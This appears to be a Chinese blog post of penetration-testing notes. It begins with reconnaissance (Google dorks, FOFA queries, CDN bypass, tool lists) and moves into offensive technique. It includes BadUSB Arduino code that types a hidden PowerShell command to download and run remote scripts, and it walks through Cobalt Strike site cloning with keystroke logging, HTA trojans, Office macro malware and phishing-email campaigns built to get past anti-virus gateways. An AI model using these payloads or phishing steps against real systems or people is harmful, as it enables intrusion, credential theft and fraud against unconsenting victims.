渗透手札之信息收集

韩乔落

概述

信息收集是渗透测试技术的第一个也是最重要的步骤。工具大家可以自行查找,不只文中提到的工具,也可以在公众号或者github上找一些开源开源的武器库。

被动信息收集

被动信息收集简介

指通过公开渠道的可获得信息,与目标系统或者主机不产生直接的信息交互,以尽可能避免留下任何痕迹的信息收集方法。

被动信息收集的内容

  • IP地址段
  • 域名信息
  • 邮件地址
  • 文档图片数据
  • 公司地址
  • 公司组织架构
  • 联系电话/传真号码
  • 人员姓名/职务
  • 目标系统使用的技术架构
  • 公开的商用信息
  • ……

被动信息收集的目的

被动信息收集是为了获取目标系统的基础架构以及目标主机的ip地址段以及该对象的域名信息,以达到使用所收集的信息去描述目标系统或者主机的目的,并对之后的一系列扫描工作做准备。

被动信息收集方式

使用google搜索引擎

google hacking 语法:

  • intext:
    这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含”动网”的网页。

  • allintext:

    使用方法和intext类似.

  • intitle:
    和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索: intitle:安全天使. 将返回所有网页标题中包含”安全天使”的网页.同理allintitle:也同intitle类似.

  • cache:
    搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

  • define:
    搜索某个词语的定义,搜索: define:hacker ,将返回关于hacker的定义.

  • filetype:
    这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入: filetype:doc. 将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富。

  • info:
    查找指定站点的一些基本信息.

  • inurl:
    搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登陆的URL不错 . allinurl也同inurl类似,可指定多个字符.

  • link:
    例如搜索: link:www.example.com 可以返回所有和www.example.com做了链接的URL .

  • site:
    这个也很有用,例如: site:www.example.com . 将返回所有和example.com这个站有关的URL.
    对了还有一些操作符也是很有用的:

  • 把google可能忽略的字列如查询范围
    把某个字忽略
    ~ 同意词
    . 单一的通配符

  • 通配符,可代表多个字母

  • "" 精确查询

⽹络空间搜索引擎

常用网络空间搜索引擎有shodan,censys,zoomeye,fofa,quanke等。用于搜索公网上开放端口的 IP。

fofa 语法:

  • title="abc" 从标题中搜索abc。
  • header="abc" 从http头中搜索abc。
  • body="abc" 从html正⽂中搜索abc。
  • domain="qq.com" 搜索根域名带有qq.com的⽹站。
  • host=".gov.cn" 从url中搜索.gov.cn,注意搜索要⽤host作为名称。
  • port="443" 查找对应443端⼝的资产。
  • ip="1.1.1.1" 从ip中搜索包含1.1.1.1的⽹站,注意搜索要⽤ip作为名称。
  • protocol="https" 搜索指定协议类型(在开启端⼝扫描的情况下有效)。
  • city="Hangzhou" 搜索指定城市的资产。
  • region="Zhejiang" 搜索指定⾏政区的资产。
  • country="CN" 搜索指定国家(编码)的资产。
  • cert="google" 搜索证书(https或者imaps等)中带有google的资产。
  • banner=users && protocol=ftp 搜索FTP协议中带有users⽂本的资产。
  • type=service 搜索所有协议资产,⽀持subdomain和service两种。
  • os=windows 搜索Windows资产。
  • server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。
  • app="海康威视-视频监控" 搜索海康威视设备,
  • after="2017" && before="2017-10-01" 时间范围段搜索。 after是⼤于并且等于,
    before是⼩于,这⾥ after=”2017” 就是⽇期⼤于并且等于 2017-01-01 的数据,⽽ before=”2017-10-01”
    则是⼩于 2017-10-01 的数据
  • asn="19551" 搜索指定asn的资产。⼤型企业会有⾃⼰独⽴的asn号
  • org="Amazon.com, Inc." 搜索指定org(组织)的资产。
  • base_protocol="udp" 搜索指定udp协议的资产。
  • is_ipv6=true 搜索ipv6的资产,只接受true和false。
  • is_domain=true 搜索域名的资产,只接受true和false。
  • ip_ports="80,443" 或者 ports=”80,443” 搜索同时开放80和443端⼝的ip资产(以ip为单位的资产数据)。
  • ip_country="CN" 搜索中国的ip资产(以ip为单位的资产数据)。
  • ip_region="Zhejiang" 搜索指定⾏政区的ip资产(以ip为单位的资产数据)。
  • ip_city="Hangzhou" 搜索指定城市的ip资产(以ip为单位的资产数据)。
  • ip_after="2019-01-01" 搜索2019-01-01以后的ip资产(以ip为单位的资产数据)。
  • ip_before="2019-01-01" 搜索2019-01-01以前的ip资产(以ip为单位的资产数据)。

可以用fofa_view。

域名解析查询

参考:https://zhuanlan.zhihu.com/p/435208610

dig,nslookup。

注册信息查询

whois。

域名信息收集

dnsenum。

主动信息收集

指通过一定的方式(系统自带命令或者其他工具),直接与目标系统或者主机进行交互通信,以达到收集信息的目的。

主动信息收集须知

使用受控的第三方电脑进行探测。使用代理或者已经被控制的主机。做好被封杀的准备。使用噪声迷惑目标,掩藏真实的的探测流量扫描,发送不同的探测,根据返回结果判断目标状态,主动信息收集通常是在被动信息收集之后分析出重要攻击⾯或者⽬标重要信息的时候再针对性地去做主动信息收集,在主动信息收集的时候通常持续时间⽐较⻓⽽且会通过各种不同的⽅式与⽬标交互。实战中最常⽤的⼿段是模拟或者伪装正常的业务流程与⽬标交互。

关于CDN的识别与绕过

CDN识别

多地ping,返回的IP不同目标就存在CND。

CDN绕过

这里不去介绍CND是什麼,为什麼出现了。

1. 通过国外 ping 域名

2.dns历史记录

https://webiplookup.com/

3.边缘业务的子域名

边缘业务一般用的少,不会挂CDN。比如微信小程序,app客户端等。

4.邮箱服务器

邮箱不支持CDN,一定是站点的真实IP。

主动信息收集的方式

主域名收集

搜索引擎,备案网站,企查查,天眼查,小蓝本,爱企查等等。还可以用 ENScan_GO

子域名收集

oneforall,7ks,jsfinder,layer子域名挖掘机…

目录扫描

dirsearch,御剑…

端口扫描

masscan,mmap,goby,御剑…

指纹识别

whatweb,Wappalyzer插件,goby,ehole,glass…

漏洞扫描

rad+xray,awvs,vulmap,nessus,appscan,nuclei…

WAF识别

wafw00f…

社会工程学

可以看些心理学和社工相关的书籍,找一些社工库(这个就不细说了……)。

敏感数据收集

凌⻛云:https://www.lingfengyun.com/
蓝菊花:http://www.lanjuhua.com/
⼤⼒盘:https://www.dalipan.com/
猪猪盘:http://www.zhuzhupan.com/
PanSou:http://www.pansou.com/
盘⻜⻜:https://panfeifei.com/

Badusb

慎用,不多讲了,容易被蓝方抓,可以在某东某宝去买。参考链接:https://cloud.tencent.com/developer/article/1544687

image-20240203160434673

2.0 版本以上会做自动识别,不用修改。然后直接写代码即可。这段代码的效果会把我的subl打开,其他的可以自行准备,比如弹个shell。

image-20240203160416941

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void setup(){//初始化 
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/main.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {}

水坑攻击

水坑攻击:watering hole。在受害者必经之路设置一个水坑,就是陷进。常见的做法是攻击者分析攻击目标的上网活动规律,经常访问哪些网站,然后利用网站漏洞在其中植入攻击代码,用户访问该网站就中招了。这种方式隐蔽性高,成功率较高。但有一定条件,网站要有漏洞可利用,以便用于部署恶意代码。用户访问被“加工”过的网站时,攻击代码会在客户端植入恶意代码或者直接窃取用户信息,有些就是将用户跳转到其他恶意网站。这些恶意网站中,恶意软件正等待将其与后续的网络钓鱼或勒索软件攻击挂钩。做APT用到比较多。常用的就是xss篡改页面(flash)等骗它下马。

水坑攻击的原理

水坑攻击的基本步骤通常包括以下几步:

  1. 侦察:攻击者首先会对目标群体进行详细的侦察,了解他们的兴趣、习惯以及经常访问的网站。
  2. 选择目标:一旦确定了目标群体,攻击者会选择一个或多个受欢迎的网站作为进攻的目标,这些网站是目标群体经常访问的“水坑”。
  3. 渗透网站:攻击者会使用各种手段渗透这些网站,包括利用已知的安全漏洞、社会工程学或其他黑客技术。
  4. 植入恶意代码:成功渗透后,攻击者会在网站中植入恶意代码,这些代码可能是直接的恶意软件,也可能是用来重定向用户到恶意网站的脚本。
  5. 传播恶意软件:当目标用户访问受感染的网站时,恶意代码会自动执行,可能会无声无息地在用户的设备上安装恶意软件。
  6. 数据泄露或系统控制:一旦设备被感染,攻击者可以进行各种恶意活动,如窃取敏感数据、安装勒索软件或建立后门以便未来访问。

水坑攻击案例

一个典型的水坑攻击案例如下:

  1. 假设攻击者想要针对一家大型企业的员工,他们会研究员工的在线活动,发现许多员工都在特定的行业新闻网站上活跃。
  2. 攻击者找到该新闻网站的安全漏洞,并利用漏洞植入了恶意代码。
  3. 攻击者接下来不需要进行任何动作,只需等待目标员工访问新闻网站。
  4. 当员工浏览新闻网站时,他们的设备自动下载并执行恶意代码,造成感染。
  5. 攻击者利用感染的设备来进一步渗透企业网络,窃取数据或发起更广泛的攻击。

钓鱼攻击

cs有站点克隆,目标信息获取,java执行,浏览器自动攻击等功能,另外也可以自己制作一些钓鱼页面。常用的就是flash,让人以为自己的flash版本太低,点击下载即可完成欺骗。gophish则是一款开源的钓鱼平台,也非常好用,后面会介绍。

钓鱼网站

使用CS克隆网页

没有反扒,直接保存即可。勾选Log Keystrokes on cloned site后,记录键盘操作,通过view下的weblog可以获取用户的账号密码等。

image-20240415203212900

  • Clone URL:克隆目标网站的URL
  • 注意问题:URL需要添加http协议和端口(80)
  • Local URL:本地克隆路径
  • Local Host:本地主机IP
  • Local Port:本地端口
  • Attack:克隆后目标网站执行脚本,如:flash漏洞

image-20240415203317189

结合HTA木马

先不做免杀,免杀会单写一个文章。

image-20240416143400643

生成HTML后门(HTA文件), 选择相应的监听器和模式,有三种模式,分别为PowershellVBAExecutable

Executable 将会在hta文件中内嵌一个PE文件
Powershell 将会在hta文件中内嵌一段Powershell代码
VBA 将会在hta文件中内嵌一段VBA代码

建议使用 powershell。

制作完成使用文件托管上传服务器,网站克隆选择攻击载荷时选择生成的hta木马。访问网站时便会自动下载木马,运行则会自动上线。

image-20240416153627577

image-20240416153604311

邮件钓鱼

制作一个office宏病毒

image-20240416160852538

视图->宏->查看宏->给宏起名->编辑宏

image-20240416161003650

在project中添加代码->另存为.docm。

发送钓鱼邮件

利用Cobalt Strike生成钓鱼邮件对企业或者网站的邮箱进行攻击, 钓鱼邮件的内容通常包含Office宏木马附件, 钓鱼网站等等

Cobalt Strike钓鱼邮件攻击主要步骤:

  • 创建一个目标列表
  • 创建一个钓鱼模版
  • 选择通过哪个邮件服务器发送邮件
  • 发送邮件

当你想使用钓鱼邮件来获得内网的一个跳板时,你需要注意以下几点:

  1. 你发送的邮件是给具体的某个人看的,所以这封“钓鱼”邮件做的必须要跟真的一样,可能还需要加入一些诱惑性的语句来使对方交互。
  2. 你必须要使邮件通过反病毒邮件网关
  3. 绕过杀毒软件以及应用白名单

image-20240416162136473

Targets:存有目标邮箱及收件人信息的文本文件

Template:邮件模板文件

Attachment:附件

Embed URL:填写url钓鱼链接, 可将邮件的内置链接替换掉。此处我填写了带有键盘记录功能的克隆网站

Mail Server: 邮箱服务器相关信息

Bounce to:邮箱地址

targets

image-20240416162056606

template

从已有邮箱导出的eml文件。

image-20240416162239143

Attachment:

添加我们的office宏病毒。

Embed url:

填写搭建好的网站。

mailserver:

找到 POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务,获取授权码。然后配置mailserver。

image-20240416162907217

  SMTP host: SMTP服务地址

  SMTP Port:即允许SMTP服务的端口号。和上面的host配套来的,ssl一般使用465

  Username:用户名。

  Password(密码):就是前面开启SMTP服务是的那串授权码。

  Random Delay:默认0就好了。

  Connetion:连接协议,选则 SSL。

bounce to:这个是根据你的邮件名来填写。

image-20240416170447482

  • Title: 渗透手札之信息收集
  • Author: 韩乔落
  • Created at : 2023-12-26 18:54:55
  • Updated at : 2024-04-28 19:47:36
  • Link: https://jelasin.github.io/2023/12/26/渗透手札之信息收集/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments